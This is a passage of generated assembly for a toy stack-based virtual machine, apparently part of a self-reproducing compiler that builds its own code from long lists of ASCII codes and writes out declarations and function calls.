49,48,32,98,112,91,51,93,10,112,117,115,104,32,98,112,91,51,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,56,10,112,111,112,32,98,112,91,51,52,93,10,115,117,98,32,115,112,32,115,112,32,50,10,115,117,98,32,98,112,91,51,54,93,32,48,32,49,10,101,113,32,98,112,91,51,55,93,32,98,112,91,51,52,93,32,98,112,91,51,54,93,10,106,122,32,98,112,91,51,55,93,32,50,52,53,51,10,103,101,116,32,98,112,91,51,56,93,32,35,49,48,32,98,112,91,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,57,93,32,91,51,53,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,52,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,52,49,93,32,98,112,91,51,57,93,32,98,112,91,52,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,50,93,32,91,98,112,91,51,56,93,44,98,112,91,52,49,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,51,93,32,91,98,112,91,52,50,93,93,10,97,100,100,32,98,112,91,52,52,93,32,35,56,32,98,112,91,52,51,93,10,109,111,118,32,35,56,32,98,112,91,52,52,93,10,106,122,32,48,32,50,52,53,51,10,97,100,100,32,98,112,91,52,53,93,32,98,112,91,51,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,52,53,93,10,106,122,32,48,32,50,52,50,51,10,109,111,118,32,98,112,91,51,93,32,48,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,52,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,52,55,93,32,98,112,91,51,93,32,98,112,91,52,54,93,10,106,122,32,98,112,91,52,55,93,32,50,52,56,50,10,103,101,116,32,98,112,91,52,56,93,32,98,112,91,49,93,32,98,112,91,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,57,93,32,91,57,56,44,49,49,50,44,57,49,93,10,97,100,100,32,98,112,91,53,49,93,32,98,112,91,51,93,32,49,10,112,117,115,104,32,98,112,91,53,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,53,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,53,50,93,32,98,112,91,52,57,93,32,98,112,91,53,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,51,93,32,91,57,51,93,10,97,100,100,32,98,112,91,53,52,93,32,98,112,91,53,50,93,32,98,112,91,53,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,53,93,32,91,98,112,91,52,56,93,44,98,112,91,53,52,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,54,93,32,91,98,112,91,53,53,93,93,10,97,100,100,32,98,112,91,53,55,93,32,35,56,32,98,112,91,53,54,93,10,109,111,118,32,35,56,32,98,112,91,53,55,93,10,97,100,100,32,98,112,91,53,56,93,32,98,112,91,51,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,53,56,93,10,106,122,32,48,32,50,52,53,55,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,53,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,54,48,93,32,98,112,91,53,57,93,32,49,10,109,111,118,32,35,57,32,98,112,91,54,48,93,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,55,48,10,112,111,112,32,98,112,91,54,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,50,93,32,91,57,55,44,49,48,48,44,49,48,48,44,51,50,44,49,49,53,44,49,49,50,44,51,50,44,49,49,53,44,49,49,50,44,51,50,93,10,115,117,98,32,98,112,91,54,52,93,32,35,57,32,49,10,112,117,115,104,32,98,112,91,54,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,54,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,54,53,93,32,98,112,91,54,50,93,32,98,112,91,54,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,54,93,32,91,98,112,91,50,93,44,98,112,91,54,53,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,55,93,32,91,98,112,91,54,54,93,93,10,97,100,100,32,98,112,91,54,56,93,32,35,52,32,98,112,91,54,55,93,10,109,111,118,32,35,52,32,98,112,91,54,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,48,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,57,56,44,49,49,50,44,57,49,44,52,53,44,53,48,44,57,51,44,51,50,44,52,56,93,10,112,117,115,104,32,98,112,91,55,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,54,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,50,54,10,112,111,112,32,98,112,91,55,49,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,54,10,109,97,107,101,108,105,115,116,32,98,112,91,51,93,32,91,57,49,93,10,103,101,116,32,98,112,91,53,93,32,98,112,91,45,51,93,32,48,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,54,93,32,98,112,91,51,93,32,98,112,91,52,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,54,93,10,109,111,118,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,56,93,32,98,112,91,50,93,32,98,112,91,55,93,10,106,122,32,98,112,91,56,93,32,50,53,53,51,10,109,97,107,101,108,105,115,116,32,98,112,91,57,93,32,91,52,52,93,10,97,100,100,32,98,112,91,49,48,93,32,98,112,91,49,93,32,98,112,91,57,93,10,103,101,116,32,98,112,91,49,50,93,32,98,112,91,45,51,93,32,98,112,91,50,93,10,112,117,115,104,32,98,112,91,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,49,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,49,51,93,32,98,112,91,49,48,93,32,98,112,91,49,49,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,51,93,10,97,100,100,32,98,112,91,49,52,93,32,98,112,91,50,93,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,52,93,10,106,122,32,48,32,50,53,51,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,93,32,91,57,51,93,10,97,100,100,32,98,112,91,49,54,93,32,98,112,91,49,93,32,98,112,91,49,53,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,54,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,51,56,10,112,117,115,104,32,48,10,99,97,108,108,32,51,48,52,10,112,111,112,32,98,112,91,56,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,35,48,32,98,112,91,56,93,10,103,101,116,32,98,112,91,57,93,32,35,48,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,49,48,50,44,49,48,56,44,57,55,44,49,48,51,93,10,101,113,32,98,112,91,49,49,93,32,98,112,91,57,93,32,98,112,91,49,48,93,10,106,122,32,98,112,91,49,49,93,32,50,54,48,56,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,49,48,57,44,57,55,44,49,48,55,44,49,48,49,44,49,48,56,44,49,48,53,44,49,49,53,44,49,49,54,44,51,50,44,51,53,44,52,56,44,51,50,93,10,103,101,116,32,98,112,91,49,53,93,32,35,48,32,56,10,112,117,115,104,32,98,112,91,49,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,50,48,10,112,111,112,32,98,112,91,49,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,49,54,93,32,98,112,91,49,51,93,32,98,112,91,49,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,93,32,91,49,48,93,10,97,100,100,32,98,112,91,49,56,93,32,98,112,91,49,54,93,32,98,112,91,49,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,49,49,53,44,49,49,50,44,51,50,44,52,57,93,10,97,100,100,32,98,112,91,50,48,93,32,98,112,91,49,56,93,32,98,112,91,49,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,49,48,93,10,97,100,100,32,98,112,91,50,50,93,32,98,112,91,50,48,93,32,98,112,91,50,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,49,49,57,44,49,49,52,44,49,48,53,44,49,49,54,44,49,48,49,93,10,97,100,100,32,98,112,91,50,52,93,32,98,112,91,50,50,93,32,98,112,91,50,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,93,32,91,49,48,93,10,97,100,100,32,98,112,91,50,54,93,32,98,112,91,50,52,93,32,98,112,91,50,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,93,32,91,49,48,52,44,49,48,56,44,49,49,54,93,10,97,100,100,32,98,112,91,50,56,93,32,98,112,91,50,54,93,32,98,112,91,50,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,93,32,91,49,48,93,10,97,100,100,32,98,112,91,51,48,93,32,98,112,91,50,56,93,32,98,112,91,50,57,93,10,112,117,115,104,32,98,112,91,51,48,93,10,112,117,115,104,32,48,10,119,114,105,116,101,10,112,111,112,32,98,112,91,49,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,54,52,55,10,103,101,116,32,98,112,91,51,49,93,32,35,48,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,93,32,91,49,48,49,44,49,49,52,44,49,49,52,44,49,49,49,44,49,49,52,93,10,101,113,32,98,112,91,51,51,93,32,98,112,91,51,49,93,32,98,112,91,51,50,93,10,106,122,32,98,112,91,51,51,93,32,50,54,52,55,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,93,32] | |
mov bp[1] bp[34] | |
makelist bp[35] [10,109,111,118,32,98,112,91,50,93,32,98,112,91,51,53,93,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,50,48,10,112,111,112,32,98,112,91,51,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,51,56,93,32,98,112,91,49,93,32,98,112,91,51,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,57,93,32,91,49,48,93,10,97,100,100,32,98,112,91,52,48,93,32,98,112,91,51,56,93,32,98,112,91,51,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,49,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,57,56,44,49,49,50,44,57,49,44,52,57,44,57,51,44,51,50,44,57,56,44,49,49,50,44,57,49,44,53,49,44,53,50,44,57,51,93,10,97,100,100,32,98,112,91,52,50,93,32,98,112,91,52,48,93,32,98,112,91,52,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,51,93,32,91,49,48,93,10,97,100,100,32,98,112,91,52,52,93,32,98,112,91,52,50,93,32,98,112,91,52,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,53,93,32,91,49,48,57,44,57,55,44,49,48,55,44,49,48,49,44,49,48,56,44,49,48,53,44,49,49,53,44,49,49,54,44,51,50,44,57,56,44,49,49,50,44,57,49,44,53,49,44,53,51,44,57,51,44,51,50,93,10,97,100,100,32,98,112,91,52,54,93,32,98,112,91,52,52,93,32,98,112,91,52,53,93,10,112,117,115,104,32,98,112,91,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,50,48,10,112,111,112,32,98,112,91,52,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,52,56,93,32,98,112,91,52,54,93,32,98,112,91,52,55,93,10,97,100,100,32,98,112,91,52,57,93,32,98,112,91,52,56,93,32,98,112,91,50,93,10,112,117,115,104,32,98,112,91,52,57,93,10,112,117,115,104,32,48,10,119,114,105,116,101,10,112,111,112,32,98,112,91,51,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,54,52,55,10,112,117,115,104,32,35,48,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,51,50,10,112,111,112,32,98,112,91,53,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,53,48,93,10,109,111,118,32,98,112,91,52,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,53,49,93,32,91,49,49,52,44,49,48,49,44,57,55,44,49,48,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,50,93,32,91,98,112,91,53,49,93,44,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,51,93,32,91,49,49,57,44,49,49,52,44,49,48,53,44,49,49,54,44,49,48,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,52,93,32,91,98,112,91,53,51,93,44,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,53,93,32,91,49,48,56,44,49,48,49,44,49,49,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,54,93,32,91,98,112,91,53,53,93,44,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,55,93,32,91,98,112,91,53,50,93,44,98,112,91,53,52,93,44,98,112,91,53,54,93,93,10,109,111,118,32,35,54,32,98,112,91,53,55,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,53,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,53,57,93,32,98,112,91,52,93,32,98,112,91,53,56,93,10,106,122,32,98,112,91,53,57,93,32,50,54,57,49,10,103,101,116,32,98,112,91,54,48,93,32,98,112,91,51,93,32,98,112,91,52,93,10,103,101,116,32,98,112,91,54,49,93,32,98,112,91,54,48,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,54,50,93,32,91,55,48,44,49,49,55,44,49,49,48,44,57,57,44,49,48,48,44,49,48,49,44,57,57,44,49,48,56,93,10,101,113,32,98,112,91,54,51,93,32,98,112,91,54,49,93,32,98,112,91,54,50,93,10,106,122,32,98,112,91,54,51,93,32,50,54,56,56,10,103,101,116,32,98,112,91,54,52,93,32,98,112,91,51,93,32,98,112,91,52,93,10,103,101,116,32,98,112,91,54,53,93,32,98,112,91,54,52,93,32,49,10,103,101,116,32,98,112,91,54,55,93,32,98,112,91,51,93,32,98,112,91,52,93,10,103,101,116,32,98,112,91,54,56,93,32,98,112,91,54,55,93,32,50,10,112,117,115,104,32,98,112,91,54,56,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,54,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,57,93,32,91,98,112,91,54,53,93,44,98,112,91,54,54,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,48,93,32,91,98,112,91,54,57,93,93,10,97,100,100,32,98,112,91,55,49,93,32,35,54,32,98,112,91,55,48,93,10,109,111,118,32,35,54,32,98,112,91,55,49,93,10,106,122,32,48,32,50,54,56,56,10,97,100,100,32,98,112,91,55,50,93,32,98,112,91,52,93,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,55,50,93,10,106,122,32,48,32,50,54,54,50,10,109,111,118,32,35,50,32,48,10,109,111,118,32,98,112,91,52,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,55,51,93,32,91,93,10,109,111,118,32,35,49,48,32,98,112,91,55,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,52,93,32,91,93,10,109,111,118,32,35,51,32,98,112,91,55,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,53,93,32,91,93,10,109,111,118,32,35,52,32,98,112,91,55,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,55,54,93,32,91,93,10,109,111,118,32,35,55,32,98,112,91,55,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,55,55,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,55,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,55,56,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,55,57,93,32,91,49,48,57,44,57,55,44,49,48,53,44,49,49,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,48,93,32,91,57,57,44,57,55,44,49,48,56,44,49,48,56,44,51,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,49,93,32,91,98,112,91,55,56,93,44,98,112,91,55,57,93,44,98,112,91,56,48,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,50,93,32,91,98,112,91,56,49,93,93,10,109,111,118,32,35,53,32,98,112,91,56,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,52,93,32,91,49,48,52,44,49,48,56,44,49,49,54,93,10,112,117,115,104,32,98,112,91,56,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,56,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,56,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,56,54,93,32,98,112,91,52,93,32,98,112,91,56,53,93,10,106,122,32,98,112,91,56,54,93,32,50,55,54,54,10,103,101,116,32,98,112,91,56,55,93,32,98,112,91,51,93,32,98,112,91,52,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,56,55,93,10,103,101,116,32,98,112,91,56,56,93,32,98,112,91,54,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,56,57,93,32,91,55,48,44,49,49,55,44,49,49,48,44,57,57,44,49,48,48,44,49,48,49,44,57,57,44,49,48,56,93,10,101,113,32,98,112,91,57,48,93,32,98,112,91,56,56,93,32,98,112,91,56,57,93,10,106,122,32,98,112,91,57,48,93,32,50,55,52,53,10,103,101,116,32,98,112,91,57,50,93,32,98,112,91,54,93,32,49,10,112,117,115,104,32,98,112,91,57,50,93,10,103,101,116,32,98,112,91,57,51,93,32,98,112,91,54,93,32,50,10,112,117,115,104,32,98,112,91,57,51,93,10,103,101,116,32,98,112,91,57,52,93,32,98,112,91,54,93,32,51,10,112,117,115,104,32,98,112,91,57,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,51,53,51,10,112,111,112,32,98,112,91,57,49,93,10,115,117,98,32,115,112,32,115,112,32,51,10,106,122,32,48,32,50,55,54,51,10,103,101,116,32,98,112,91,57,53,93,32,98,112,91,54,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,57,54,93,32,91,56,54,44,57,55,44,49,49,52,44,49,48,48,44,49,48,49,44,57,57,44,49,48,56,93,10,101,113,32,98,112,91,57,55,93,32,98,112,91,57,53,93,32,98,112,91,57,54,93,10,106,122,32,98,112,91,57,55,93,32,50,55,53,52,10,103,101,116,32,98,112,91,57,56,93,32,98,112,91,54,93,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,57,57,93,32,91,98,112,91,57,56,93,93,10,97,100,100,32,98,112,91,49,48,48,93,32,35,49,48,32,98,112,91,57,57,93,10,109,111,118,32,35,49,48,32,98,112,91,49,48,48,93,10,106,122,32,48,32,50,55,54,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,50,93,32,91,49,49,55,44,49,49,48,44,49,48,55,44,49,49,48,44,49,49,49,44,49,49,57,44,49,49,48,44,51,50,44,49,48,51,44,49,48,56,44,49,49,49,44,57,56,44,57,55,44,49,48,56,44,51,50,44,49,49,54,44,49,50,49,44,49,49,50,44,49,48,49,93,10,103,101,116,32,98,112,91,49,48,51,93,32,98,112,91,51,93,32,98,112,91,52,93,10,103,101,116,32,98,112,91,49,48,52,93,32,98,112,91,49,48,51,93,32,48,10,97,100,100,32,98,112,91,49,48,53,93,32,98,112,91,49,48,50,93,32,98,112,91,49,48,52,93,10,112,117,115,104,32,98,112,91,49,48,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,49,48,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,49,48,54,93,32,98,112,91,52,93,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,49,48,54,93,10,106,122,32,48,32,50,55,50,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,55,93,32,91,57,55,44,49,48,48,44,49,48,48,44,51,50,44,49,49,53,44,49,49,50,44,51,50,44,49,49,53,44,49,49,50,44,51,50,93,10,112,117,115,104,32,35,49,48,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,49,48,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,49,48,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,49,48,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,49,49,48,93,32,98,112,91,49,48,55,93,32,98,112,91,49,48,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,49,93,32,91,98,112,91,53,93,44,98,112,91,49,49,48,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,50,93,32,91,98,112,91,49,49,49,93,93,10,97,100,100,32,98,112,91,49,49,51,93,32,35,52,32,98,112,91,49,49,50,93,10,109,111,118,32,35,52,32,98,112,91,49,49,51,93,10,109,111,118,32,98,112,91,52,93,32,48,10,112,117,115,104,32,35,53,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,49,49,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,49,49,53,93,32,98,112,91,52,93,32,98,112,91,49,49,52,93,10,106,122,32,98,112,91,49,49,53,93,32,50,56,49,52,10,103,101,116,32,98,112,91,49,49,54,93,32,35,53,32,98,112,91,52,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,49,49,54,93,10,103,101,116,32,98,112,91,49,49,55,93,32,98,112,91,54,93,32,48,10,103,101,116,32,98,112,91,49,49,56,93,32,98,112,91,54,93,32,50,10,112,117,115,104,32,35,55,10,103,101,116,32,98,112,91,49,50,49,93,32,98,112,91,54,93,32,49,10,112,117,115,104,32,98,112,91,49,50,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,56,57,10,112,111,112,32,98,112,91,49,50,48,93,10,115,117,98,32,115,112,32,115,112,32,50,10,112,117,115,104,32,98,112,91,49,50,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,49,49,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,49,50,50,93,32,98,112,91,49,49,56,93,32,98,112,91,49,49,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,51,93,32,91,98,112,91,49,49,55,93,44,98,112,91,49,50,50,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,52,93,32,91,98,112,91,49,50,51,93,93,10,97,100,100,32,98,112,91,49,50,53,93,32,35,52,32,98,112,91,49,50,52,93,10,109,111,118,32,35,52,32,98,112,91,49,50,53,93,10,97,100,100,32,98,112,91,49,50,54,93,32,98,112,91,52,93,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,49,50,54,93,10,106,122,32,48,32,50,55,56,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,55,93,32,91,93,10,109,111,118,32,98,112,91,55,93,32,98,112,91,49,50,55,93,10,109,111,118,32,98,112,91,52,93,32,48,10,112,117,115,104,32,35,51,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,49,50,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,49,50,57,93,32,98,112,91,52,93,32,98,112,91,49,50,56,93,10,106,122,32,98,112,91,49,50,57,93,32,50,56,52,52,10,103,101,116,32,98,112,91,49,51,48,93,32,35,51,32,98,112,91,52,93,10,109,111,118,32,35,48,32,98,112,91,49,51,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,49,93,32,91,49,48,48,44,49,49,55,44,49,48,57,44,49,48,57,44,49,50,49,93,10,101,113,32,98,112,91,49,51,50,93,32,35,48,32,98,112,91,49,51,49,93,10,106,122,32,98,112,91,49,51,50,93,32,50,56,51,55,10,112,117,115,104,32,35,52,10,112,117,115,104,32,98,112,91,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,56,57,10,112,111,112,32,98,112,91,49,51,51,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,111,118,32,35,48,32,98,112,91,49,51,51,93,10,106,122,32,48,32,50,56,51,55,10,97,100,100,32,98,112,91,49,51,52,93,32,98,112,91,55,93,32,35,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,53,93,32,91,49,48,93,10,97,100,100,32,98,112,91,49,51,54,93,32,98,112,91,49,51,52,93,32,98,112,91,49,51,53,93,10,109,111,118,32,98,112,91,55,93,32,98,112,91,49,51,54,93,10,97,100,100,32,98,112,91,49,51,55,93,32,98,112,91,52,93,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,49,51,55,93,10,106,122,32,48,32,50,56,49,55,10,112,117,115,104,32,98,112,91,55,93,10,112,117,115,104,32,48,10,119,114,105,116,101,10,112,111,112,32,98,112,91,49,51,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10] | |
mov bp[2] bp[35] | |
push bp[1] | |
push 0 | |
call 2520 | |
pop bp[37] | |
sub sp sp 1 | |
add bp[38] bp[1] bp[37] | |
makelist bp[39] [10] | |
add bp[40] bp[38] bp[39] | |
makelist bp[41] [109,111,118,32,98,112,91,49,93,32,98,112,91,51,52,93] | |
add bp[42] bp[40] bp[41] | |
makelist bp[43] [10] | |
add bp[44] bp[42] bp[43] | |
makelist bp[45] [109,97,107,101,108,105,115,116,32,98,112,91,51,53,93,32] | |
add bp[46] bp[44] bp[45] | |
push bp[2] | |
push 0 | |
call 2520 | |
pop bp[47] | |
sub sp sp 1 | |
add bp[48] bp[46] bp[47] | |
add bp[49] bp[48] bp[2] | |
push bp[49] | |
push 0 | |
write | |
pop bp[36] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
jz 0 2647 | |
push #0 | |
push 0 | |
call 1232 | |
pop bp[50] | |
sub sp sp 1 | |
mov bp[3] bp[50] | |
mov bp[4] 0 | |
makelist bp[51] [114,101,97,100] | |
makelist bp[52] [bp[51],0] | |
makelist bp[53] [119,114,105,116,101] | |
makelist bp[54] [bp[53],1] | |
makelist bp[55] [108,101,110] | |
makelist bp[56] [bp[55],1] | |
makelist bp[57] [bp[52],bp[54],bp[56]] | |
mov #6 bp[57] | |
push bp[3] | |
push 0 | |
len | |
pop bp[58] | |
sub sp sp 1 | |
lt bp[59] bp[4] bp[58] | |
jz bp[59] 2691 | |
get bp[60] bp[3] bp[4] | |
get bp[61] bp[60] 0 | |
makelist bp[62] [70,117,110,99,100,101,99,108] | |
eq bp[63] bp[61] bp[62] | |
jz bp[63] 2688 | |
get bp[64] bp[3] bp[4] | |
get bp[65] bp[64] 1 | |
get bp[67] bp[3] bp[4] | |
get bp[68] bp[67] 2 | |
push bp[68] | |
push 0 | |
len | |
pop bp[66] | |
sub sp sp 1 | |
makelist bp[69] [bp[65],bp[66]] | |
makelist bp[70] [bp[69]] | |
add bp[71] #6 bp[70] | |
mov #6 bp[71] | |
jz 0 2688 | |
add bp[72] bp[4] 1 | |
mov bp[4] bp[72] | |
jz 0 2662 | |
mov #2 0 | |
mov bp[4] 0 | |
makelist bp[73] [] | |
mov #10 bp[73] | |
makelist bp[74] [] | |
mov #3 bp[74] | |
makelist bp[75] [] | |
mov #4 bp[75] | |
makelist bp[76] [] | |
mov #7 bp[76] | |
push 0 | |
call 1308 | |
pop bp[77] | |
sub sp sp 0 | |
mov bp[5] bp[77] | |
push 0 | |
call 1308 | |
pop bp[78] | |
